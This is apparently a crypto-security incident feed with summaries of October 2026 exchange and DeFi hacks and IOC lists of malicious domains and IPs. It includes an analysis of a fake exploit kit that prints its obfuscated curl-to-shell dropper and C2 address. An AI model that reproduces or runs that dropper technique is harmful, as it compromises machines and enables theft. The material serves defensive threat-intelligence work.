Know your address
before it becomes a risk.

Blocked URL: https://sites.google.com/view/metamsk-ext-user/home

Binance reopens customer withdrawals following a record $6.3 billion exploit. Bitcoin leads the first phase.

While the FBI listed hundreds of addresses in its notice, Chainalysis said the Binance attackers have already used "thousands addresses," and expects this number to continue growing.

Two strangers befriended Magnus Ahmad outside a London bar. Hours later, thieves had emptied his crypto wallets, accessed his bank accounts and disabled his laptop.

Binance is absorbing all losses through corporate funds, futures reserves, and SAFU, keeping user balances intact.

Next Technology Holding cited exchange security and quantum computing risks in authorizing sales or loans against its 5,833 BTC. It says none of the coins are held at Binance.

The Binance hack has revived debates about whether decentralization is the digital asset industry’s greatest security advantage or its biggest point of weakness.

The 18,270 BTC haul is worth about $1.4 billion and comes within 442 coins of SpaceX’s disclosed holdings. Blockchain investigators link the attack to North Korea.

On October 31, 2026, the Bitcoin dual-staking protocol b14g suffered a security incident in which approximately 97 million CORE tokens staked through the protocol were withdrawn without authorization and transferred to attacker-controlled addresses. The team paused the affected contracts and is coordinating with the Core team, security partners, and exchanges to trace, freeze, and recover the funds. BTC staked via the protocol remained time-locked on Bitcoin and was unaffected. Amount of loss: $ 1,360,000 Attack method: Unknown

The AI trading platform VergeX was attacked. Some users received withdrawal verification emails triggered by the attack. The official confirmed a total of 3,688.58 USDC was affected; risk controls triggered within one minute, all affected funds have been returned, and other users’ funds were unaffected. Services are being restored in stages. Amount of loss: $ 3,688.58 Attack method: Unknown

Flap (a modular token launch platform)’s official website flap.sh was hit by a DNS hijacking attack and redirected to a malicious clone site. Attackers gained control at the domain registrar level, pointed DNS to a malicious Dutch server, and deployed the StepDrainer wallet-drainer toolkit. This tricked users who visited and connected wallets into signing malicious transactions (e.g., unlimited approvals) to drain assets. The team warned users not to visit the site, connect wallets, or sign anything, and migrated to the new domain flap.cool. Amount of loss: - Attack method: DNS Hijacking

Tether, Circle and others moved within hours to block billions in stolen crypto, but legal experts question whether smaller victims would get the same protection.

CEO Richard Teng said hackers erased evidence and bypassed security checks. Binance plans to publish its proof of reserves Monday.

Analysts at Cantor Fitzgerald, TD Cowen and Compass Point say the $6.3 billion Binance hack is unlikely to derail the crypto market's recovery.

Binance said it reserved its own funds to cover the $6.3 billion hack, including freezes of roughly $3 billion in stolen assets.

Your day-ahead look for Oct. 30, 2026

On Ethereum, the attacker used a 2025 upgrade built to make ordinary wallets smarter, armed with 50 signatures from Binance's own wallet.

Bitcoin traded near $77,350 after $6.3 billion Binance hack, with crypto futures liquidations jumping to $1.57 billion.

The $6.3 billion Binance hack added to crypto jitters, while weak earnings outlooks and mounting concerns over AI spending pushed the Nasdaq down more than 2%.

The hacker dumped FUN and other smaller tokens into markets too small to absorb large selling, leading to price crashes.

Polymarket’s international platform (Polymarket.com) suffered a security incident after a third-party provider (DebugBear, a website performance monitoring tool) was compromised. Malicious JavaScript drained funds from some users’ accounts (approximately $2.65–2.7 million). Trading was paused for about an hour, then resumed. Polymarket promised to fully reimburse all affected traders and referred the matter to UK law enforcement. Amount of loss: $ 2,700,000 Attack method: Supply Chain Attack

On October 29, 2026, multiple Binance hot wallets (notably Binance 14 on Ethereum) were drained of billions in assets within a short window. The attacker used EIP-7702 delegation to gain control and sweep funds across several chains, marking one of the largest exchange security incidents in crypto history. Binance suspended deposits/withdrawals, stated that user funds are safe and will cover all losses, while stablecoin issuers quickly froze significant amounts. Amount of loss: $ 6,300,000,000 Attack method: DevOps Engineer’s Laptop Compromised

The zkLink Nova cross-chain bridge (Ethereum L1 escrow contracts) was exploited. The attacker abused a publicly callable authorized SyncL2TxHashRelayer and a flaw in the Arbitrator contract (failure to clear transient finalizeMessageHash), first populating a valid hash then reusing it to install an attacker-chosen l2LogsRootHashes root under the legitimate gateway identity, enabling withdrawals of ETH and ERC20 assets via forged proofs. Amount of loss: $ 783,100 Attack method: Smart Contract Vulnerability

Hifi Finance suffered a DAO governance takeover. An attacker, using addresses funded via Tornado Cash, cast four last-minute votes to pass a malicious proposal (Proposal 21), gained control, upgraded the BalanceSheet contract, minted 25 million HIFI tokens, and drained approximately $1 million in user collateral (mostly RWA tokens). Amount of loss: $ 1,000,000 Attack method: Governance Attack

A TranchePool on Avalanche associated with Valinor Digital, Oatfi, and Fence Finance was exploited due to a settlement logic flaw. At the UTC day rollover, a scheduled principal payment was incorrectly treated as received, artificially restoring ~$1.013M of draw capacity and allowing the attacker to draw the same amount of USDC a second time. Amount of loss: $ 1,013,000 Attack method: Smart Contract Vulnerability

This week, we triaged 73 incidents. 😰 This week's update is a bit more extensive due to the record volume of incidents, losses, IOCs collected, and attack vectors. Here are the reported losses by category: 1) Phishing: $47.1M 2) Protocol compromise: $9.46M 3) DPRK intrusion: $3.22M 4) Cause unknown: $3.12M 5) Malware $2.27M 6) Pig butchering: $1M + €59.4K 7) Seed compromise: $905K + 829.4 SOL 8) Infrastructure exploit $517K What we collected 5,179 malicious domains 126 wallets 🚨 Update iOS now! We saw a spike in losses due to Trust Wallet iOS compromises: 4 reports, $434K lost. We triaged 4 reports the previous week , but losses were much less at $165K. These reports were all iOS, mostly TRON drained, and most victims were Russian speakers. We suspect this is the DarkSword iOS exploit kit delivered through malicious ads. 🚨 PSA: Fake Coinbase support callers threatened physical violence against a victim who refused to follow their instructions. The pattern (covered in more detail here ): Gmail account takeover --> they call posing as support --> next a fake exchange panel relays your session so they can begin transfers. The attacker uses personal information obtained through multiple data leaks (e.g. Foundation Wallet data leak this week). 🚨 If you are threatened, contact law enforcement immediately. Recovered and frozen this week: $7.5M drained from a Safe multisig, intercepted by a white-hat MEV bot and returned 25 ETH frozen from a ClickFix malware theft 1 ETH frozen from an UNC1069 theft 31,570 XLM frozen for an earlier victim Protocols & Infrastructure We triaged 9 reports this week: Protocol compromise (4 reports): $9.46M reported losses, including $4.75M and $3M exploits and a smart contract bug Infrastructure (5 reports): $517K in reported losses across the Railway hosting breach , stolen admin keys, and an accessed custody workspace. Malware We triaged 6 malware-related reports this week for a total reported loss of $2.27M: A macOS ClickFix victim lost ~$2M. A Windows victim lost $250K to a fake Cloudflare check. ClickFix pages ask you to paste a command into Terminal or the Run box to "verify" it's you. No legitimate site will ask you to do this. ClickFix can often be encountered on compromised websites as well as through fake applications advertised on Google. Interestingly, one of the automated ClickFix deployments used the EtherHiding technique for retrieving stage 2 payload, stored as base64 blob on Binance Smart Chain. The delivery infrastructure appears to be developed with the help of LLM. Lovely . IOCs checkvbrowsenterprise[.]com (Intital ClickFix command) securetds[.]beer (Stage 3 payload hosting) Fake app downloads $510K was lost to a fake Trezor Suite promoted through Google ads and a fake DefiLlama iOS app drained another wallet. 💡 Install wallet software only from the vendor's own site, never from a sponsored search result. Phishing We triaged 5 reports with a reported $47.1M in losses, but almost all of that is from one successful exchange account takeover using phishing. The rest comes from an approval drain on Polygon, two phishing-page victims, and the Foundation wallet seed-phishing wave. DPRK 3 incidents this week with $3.22M lost: A wallet browser extension was replaced on a device infected in April 2026 & funds weren't taken until recently, six months later. $3.19M. Contagious Interview - 2 fake job interview victims, $34.8K loss. UNC1069 fake Teams/Zoom domains: tearnrnicrocoft[.]com teernsrniceroseft[.]com us02live[.]co us06cloud[.]live Contagious Interview : zenzyvera[.]store Suspected UNC1069: tearns[.]online us04[.]live us05meet[.]cloud us05meet[.]live us06[.]live us06cloud[.]com us06live[.]online IOCs From phishing emails blasted using Foundation Wallet mailer service: foundationwallet[.]xyz foundation[.]support foundation[.]com[.]im foundationdevices[.]xyz 3 behind DDoS-Guard proxies: 186.2.163[.]88 186.2.163[.]185 186.2.163[.]189 1 leaked the real IP address, connecting it to old phishing campaigns targeting safepal users: 95.129.237[.]223 SINT-69: An uncategorized intrusion set used a fake Zoom invite to take over a Telegram account this week. Fake Zoom front end: 03s[.]us Payload hosts: fartimo[.]us ilozeuam[.]us Video Servers: ventok[.]us Malicious Job Interviews This is an on-going campaign arriving through targeted email messages and redirecting users to ClickFix application forms. This is currently not attributed to DPRK. Fake hiring sites for real crypto projects: celestiatalents[.]xyz initiatalents[.]xyz minatalents[.]xyz lineahires[.]xyz movementhires[.]xyz ritualhires[.]xyz seihires[.]xyz workwithbera[.]xyz Lookalikes of crypto firms, used to send fake meeting links: (List shortened for brevity, we collected 100+ such domains) falconxco[.]com certik[.]coach 0penzeppelin[.]com avalabs[.]digital chainlinklabs[.]co coinfund[.]biz dapper-labs[.]com bitgoco[.]com securiteize[.]com Fake meeting pages (Not attributed to any APT) gmeet[.]space gmeets[.]top joingooglemeetings[.]help joinmeeting-now[.]com meetingms[.]com 05zoom[.]live us06zoom[.]us[.]com Fake VC and recruiter fronts. Targets are asked to download malicious video conferencing application, perform ClickFix, or install bogus Obsidian plugins, depending on the attacker. mirae[.]fund shape3[.]vc boardroomtalent[.]co hiresharbor[.]com Our incident response service is free to anyone who needs it, and stays that way because people from the community fund it.If this week's numbers are useful to you, fund the next one: https://securityalliance.org/donate If you require a direct data feed from SEAL-ISAC, contact us at intel@securityalliance.org. https://radar.securityalliance.org/seal-weekly-stats-13-20-oct-2026/ https://radar.securityalliance.org/from-gmail-compromise-to-fake-support-call-a-social-engineering-pattern-on-the-rise/ https://blog.railway.com/p/preliminary-report-october-security-incident?ref=radar.securityalliance.org https://securityalliance.org/donate?ref=radar.securityalliance.org

💌 Onchain message: Hello, here is the original attack transaction: https://snowscan.xyz/tx/0xf1f87d370290afe269ae8eb30fe8e5e4694ad153914a2de6d980641f4a331289, which may help you figure out what happened. As requested, we will return the funds to 0x35c6aa…

The Diamante team discovered that the $DIAM contract on BSC was compromised. The attacker used stolen company access keys to take control of the contract and minted 161 million unauthorized DIAM tokens. Approximately 70% of the unauthorized tokens were subsequently frozen through cooperation with exchanges, the contract was secured under a new MPC wallet, and the team pledged to make all affected participants whole. Amount of loss: - Attack method: Private Key Leakage

Predict.fun (a BNB Chain prediction market) saw approximately 397,708 USDT drained from 29 user smart wallets (Kernel/ZeroDev-based) in two waves on October 22 and 27, 2026. Each drain was signed with the compromised owner private key; no protocol contracts were exploited. The team attributes it to a compromised third-party API documentation site, took the site offline, and pledged full reimbursement to affected users, with a full post-mortem forthcoming. Amount of loss: $ 397,708 Attack method: Private Key Leak

A 2-of-7 Safe multisig on Avalanche holding trading inventory had granted unlimited approvals to an address that anyone could deploy code to due to a misconfiguration. An attacker’s attempt was front-run by an MEV bot, which took approximately $7.45M in assets. The bot claims to be a whitehat and is negotiating the return of funds for a 5–10% bounty. Amount of loss: $ 7,450,000 Attack method: Misconfiguration

The cross-chain trading automation platform Bloom Trading suffered a security incident. Attackers exploited a Remote Code Execution (RCE) vulnerability in a third-party module, draining approximately 9,408 SOL (about $947,000) from 49 wallet addresses belonging to 9 users. The team confirmed no private keys were compromised, other wallets remain safe, pledged full reimbursement to affected users, and temporarily paused some services while investigating. Amount of loss: $ 947,000 Attack method: Supply Chain Attack

The Ethereum DeFi protocol Yapeswap (an AMM DEX) was hit by a governance attack. WorkersUnion’s zero-quorum setting allowed a proposal backed by only ~0.000055% of voting power to transfer YapeFactory’s feeToSetter role to the attacker. The attacker then installed a malicious Registry that made latestVault() return fake vaults while vaults() still listed real ones. YapePair counted the diverted deposits as farming assets without issuing redeemable shares, resulting in a loss of approximately $21,900. Amount of loss: $ 21900 Attack method: Governance Attack

X100, an Ethereum-based DeFi project, was exploited via a flash-loan governance attack on its three-seat Senate. The attacker borrowed ~$1.94M USDT from Aave, acquired and locked X tokens to seize two Senate seats by a tiny margin (~0.000001 X), then in the same transaction passed and executed a malicious proposal forcing the Freezer/Treasury to sell 400,000 X into an attacker-created thin pool for only ~$35.68. After repaying the loan and further extraction, ~$4.85M USDT was realized (main tx ~$4.75M), with additional X tokens taken. Amount of loss: $ 4,850,000 Attack method: Flash Loan Governance Attack

The Initia L1 and its Rollups were halted due to a security incident. An attacker exploited a zero-day (Day 0) bug in Initia's MoveVM implementation on the Cosmos SDK, allowing unlimited minting of unbacked tokens on the L1, and bridged out approximately $2.7 million worth of AUSD, ETH, and USDC before the chain was paused. Native INIT tokens were unaffected. Amount of loss: $ 2,700,000 Attack method: Zero-day vulnerability

The Solana-based $kimchi token surged to a ~$14 million market cap after KOL @kimchi1x received 500M tokens and posted about it (with a repost by @a1lon9). The repost was later undone, the original post deleted, and the price crashed over 95%. On-chain analysis showed scammers used multiple wallets to buy low and sell high for over $385K in profit — a suspected coordinated KOL pump-and-dump rug pull. Amount of loss: $ 385000 Attack method: Rug Pull

The NEM (NemTokenV2) token contract on BSC was exploited via its PancakeSwap USDT/NEM liquidity pool. The contract credited transfers into the LP as sell volume without verifying actual swap settlement. The attacker repeated transfer → skim() → flushLpSellRecycle() 42 times, burning pre-existing LP reserves and syncing lower reserves, then sold the remaining NEM at the inflated price to extract approximately $821,920 in USDT. Amount of loss: $ 821920 Attack method: Smart Contract Vulnerability

The WAX Multi-Chain Bridge (spanning WAX, Solana, and Ethereum) was exploited due to a smart contract logic flaw. The eth.token::withdraw function failed to enforce max_fee ≥ 0 before debiting; the attacker set a negative max_fee equal to -quantity, zeroing the debit while still generating a full withdrawal log and bridge records. This triggered corresponding asset releases on Solana and Ethereum, resulting in a loss of approximately $90,500. Officials confirmed the issue was limited to a bridge contract (stablecoins affected; WAXP and the main chain unaffected) and paused bridge processing. Amount of loss: $ 90,500 Attack method: Smart Contract Vulnerability

Threat actors are approaching projects with reports of a successful exploit targeting their infrastructure. The proof of concept, provided as a codebase, contains a malicious payload. Below we describe the social engineering approach as well as the details of the malware’s execution flow. The target protocol was approached through Telegram. The threat actor, posing as a white-hat researcher, offered a codebase containing a proof of concept for an exploit against the protocol’s infrastructure. Their communication was professional but worked to create a sense of urgency, with multiple follow-ups sent after the malicious codebase was delivered. The codebase is built to play the part convincingly. It is a complete, runnable Solana exploit kit, with a local-fork harness, account fixtures, an extractor that rebuilds its own sample from live transactions, and the protocol’s real deployed binary, so that a reviewer running it sees exactly what a genuine disclosure would produce. The codebase contains a suspicious curl request to a remote server. The server string itself is built from a byte array stored in a seemingly standard and benign JSON file. The whole lure is built to look convincing even though the payload execution itself is not especially well hidden. What the sample actually does The JSON field UnifiedSignatureInfo is dressed up to look like a Solana signature byte array, but it is plain ASCII. Decoded, it is a URL. In poc.mjs , the chain is: USIC = Buffer.from(SI.UnifiedSignatureInfo) becomes positions = USIC.toString() , the decoded URL string check = curl -fsSL -k "${positions}" | sh builds a curl-pipe-to-shell command const next = require('child_process').exec(check) executes it, in the main flow, right after the “exploit” run. It fires regardless of whether the fake exploit “lands.” The Solana over-borrow code around it is a decoy to make the file read as a legitimate security PoC. The README.txt is the trigger. Its run instructions ( npm install , start the fork, then node poc.mjs ) are what cause the exec to fire, so a reviewer following the documented steps detonates the payload without ever touching the malicious line. The README’s file table makes no mention of UnifiedSignatureInfo or the curl command. IOCs Telegram account of the attacker : @HunterCoby Network C2 URL: https://162.35.174.231:5000/stage2 IPv4: 162.35.174.231 Port: 5000/tcp (HTTPS; -k disables certificate verification, implying a self-signed or invalid cert) URI path: /stage2 Execution / behavioral Command executed: curl -fsSL -k "https://162.35.174[.]231:5000/stage2" | sh Technique: remote shell payload fetched and piped to sh via Node child_process.exec Trigger: running the PoC per README.txt ( node poc.mjs ). The exec is unconditional and not gated on the fake exploit result Obfuscation: the C2 URL stored as a decimal byte array in the UnifiedSignatureInfo JSON field (ASCII posing as a “signature”) Files poc.mjs , the dropper (contains the exec ) increaseborrow-sample.json , carries the obfuscated URL in UnifiedSignatureInfo README.txt , run instructions that trigger execution Decoy exploit tooling: extract-inc.mjs , trading-increase-borrow-txs.json , increaseborrow-attacker.json , incborrow-position.json , incborrow-postoken.json , incborrow-attacker-token.json , program/PROGRAM-ADDRESS-REDACTED.so Decoy / lure context (not malicious infrastructure) Theme: a weaponizable over-borrow exploit against the target’s Solana program, presented as a vulnerability-disclosure PoC Collection attempt As of 2026-10-21 the C2 is dormant. 162.35.174.231:5000 completes the TCP handshake but returns zero bytes at the application layer over both HTTPS and plaintext HTTP, so stage2 could not be retrieved for analysis. What we ruled out No npm install-script vector. package.json has no preinstall , postinstall , or prepare hooks, and package-lock.json resolves only to legitimate registry packages, with no typosquats or off-registry sources. No secondary payload hidden in the sample. The on-chain account fixtures, the instruction args_hex , and the attacker keypair contain no embedded URLs or encoded strings. The UnifiedSignatureInfo to curl | sh path is the only implant. Recommended actions Treat any unsolicited “exploit PoC” delivered over chat as hostile. Review it statically in an isolated VM and never run the provided setup steps on a machine you care about. Block and alert on 162.35.174.231 and the /stage2 URL. If the kit was run, assume host compromise from the point node poc.mjs executed and begin incident response.

DeFi exploit odds are now tradeable on Trueo. Want to know about the hack before CT does? Shhh… you didn't hear it from us 🤫 @defimon_subscription_bot https://x.com/DefiLlama/status/2112611129809658093 https://t.me/defimon_subscription_bot https://x.com/DefiLlama/status/2112611129809658093

Polkadot issued a security alert stating that the Fearless Wallet browser extension (a third-party wallet) had been compromised since February 2025. Malicious code sent users’ private keys to an attacker-controlled server when the wallet was unlocked. Eight users have reported unauthorized transactions totaling 17,286 DOT. Affected users are urged to create new keypairs in a different wallet and move funds immediately. Amount of loss: $ 20000 Attack method: Private Key Leakage